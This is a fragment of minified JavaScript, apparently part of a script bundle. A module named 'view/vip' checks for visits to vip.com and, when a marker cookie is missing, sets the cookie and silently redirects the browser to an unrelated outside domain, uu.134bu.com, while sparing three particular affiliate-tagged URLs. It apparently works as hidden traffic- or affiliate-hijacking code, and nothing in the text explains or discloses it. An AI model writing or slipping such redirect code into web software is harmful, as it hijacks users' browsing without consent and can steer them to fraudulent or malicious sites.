            d()
        }
    }
}),
__tk2__define("view/vip", ["../utils", "../lib/jquery.min"],
function(a, b, c) {
    var d = a("../utils");
    if (!d.isManualDId) {
        var e = d.href,
        f = function() {
            var a, b, c = ["http://www.vip.com/?tn=91529317_hao_pg", "http://www.vip.com/?tn=95895567_hao_pg", "http://www.vip.com/?tn=97975504_hao_pg"];
            for (a = 0, b = c.length; b > a; a++) if (e === c[a]) return ! 1;
            return e.match(/^http:\/\/www\.vip\.com\/\?.*/) ? !0 : !1
        },
        g = function() {
            document.location.href = "http://uu.134bu.com/vp/a/"
        }; (f() && !d.cookie.get().vipTK || "http://www.vip.com/" === e && !d.cookie.get().vipTK) && (d.cookie.set({
            name: "vipTK",
            value: !0,
            min: 5,
            path: "/",
            domain: "vip.com"
        }), d.cookie.get().vipTK && g())
    }
});